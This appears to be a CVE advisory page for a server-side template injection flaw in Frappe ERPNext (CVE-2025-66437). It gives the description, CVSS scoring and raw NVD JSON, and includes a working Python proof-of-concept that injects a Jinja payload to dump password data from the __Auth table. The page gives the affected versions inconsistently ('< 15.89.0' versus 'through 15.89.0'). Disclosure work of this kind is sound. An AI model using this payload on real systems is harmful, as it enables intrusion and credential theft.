Security Vulnerability Report
中文
CVE-2025-66437 CVSS 8.8 HIGH

CVE-2025-66437

Published: 2025-12-15 18:15:48
Last Modified: 2026-01-05 18:19:07

Description

An SSTI (Server-Side Template Injection) vulnerability exists in the get_address_display method of Frappe ERPNext through 15.89.0. This function renders address templates using frappe.render_template() with a context derived from the address_dict parameter, which can be either a dictionary or a string referencing an Address document. Although ERPNext uses a custom Jinja2 SandboxedEnvironment, dangerous functions like frappe.db.sql remain accessible via get_safe_globals(). An authenticated attacker with permission to create or modify an Address Template can inject arbitrary Jinja expressions into the template field. By creating an Address document with a matching country, and then calling the get_address_display API with address_dict="address_name", the system will render the malicious template using attacker-controlled data. This leads to server-side code execution or database information disclosure.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:* - VULNERABLE
Frappe ERPNext < 15.89.0
Frappe ERPNext 15.x系列所有版本
所有使用get_address_display方法的应用

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66437 SSTI PoC for Frappe ERPNext # Target: Frappe ERPNext < 15.89.0 import requests import json TARGET_URL = "https://erpnext.example.com" USERNAME = "[email protected]" PASSWORD = "password123" session = requests.Session() # Step 1: Login to get session login_url = f"{TARGET_URL}/api/method/login" login_data = {"usr": USERNAME, "pwd": PASSWORD} session.post(login_url, json=login_data) # Step 2: Create malicious Address Template with SSTI payload template_url = f"{TARGET_URL}/api/resource/Address Template" template_payload = { "name": "Malicious Template", "country": "Test Country", "template": "{{ frappe.db.sql('SELECT user, password FROM __Auth') }}" } try: session.post(template_url, json=template_payload) except: pass # Step 3: Create Address document using the malicious template address_url = f"{TARGET_URL}/api/resource/Address" address_payload = { "address_title": "Malicious Address", "address_type": "Billing", "country": "Test Country", "address_line1": "Test Street" } address_response = session.post(address_url, json=address_payload) address_name = address_response.json().get("data", {}).get("name") # Step 4: Trigger SSTI via get_address_display API api_url = f"{TARGET_URL}/api/method/frappe.contacts.doctype.address.address.get_address_display" params = {"address_dict": address_name} response = session.get(api_url, params=params) print("Response:", response.text) # The response will contain the result of the SQL query

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66437", "sourceIdentifier": "[email protected]", "published": "2025-12-15T18:15:48.290", "lastModified": "2026-01-05T18:19:07.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An SSTI (Server-Side Template Injection) vulnerability exists in the get_address_display method of Frappe ERPNext through 15.89.0. This function renders address templates using frappe.render_template() with a context derived from the address_dict parameter, which can be either a dictionary or a string referencing an Address document. Although ERPNext uses a custom Jinja2 SandboxedEnvironment, dangerous functions like frappe.db.sql remain accessible via get_safe_globals(). An authenticated attacker with permission to create or modify an Address Template can inject arbitrary Jinja expressions into the template field. By creating an Address document with a matching country, and then calling the get_address_display API with address_dict=\"address_name\", the system will render the malicious template using attacker-controlled data. This leads to server-side code execution or database information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:*", "versionEndIncluding": "15.89.0", "matchCriteriaId": "DAA2FB4F-48C5-4BA5-A15F-175B8A752866"}]}]}], "references": [{"url": "https://iamanc.github.io/post/erpnext-ssti-bug-4", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.notion.so/SSTI-bug-4-239e6086eadc80aa9331fba874c674a5?source=copy_link", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}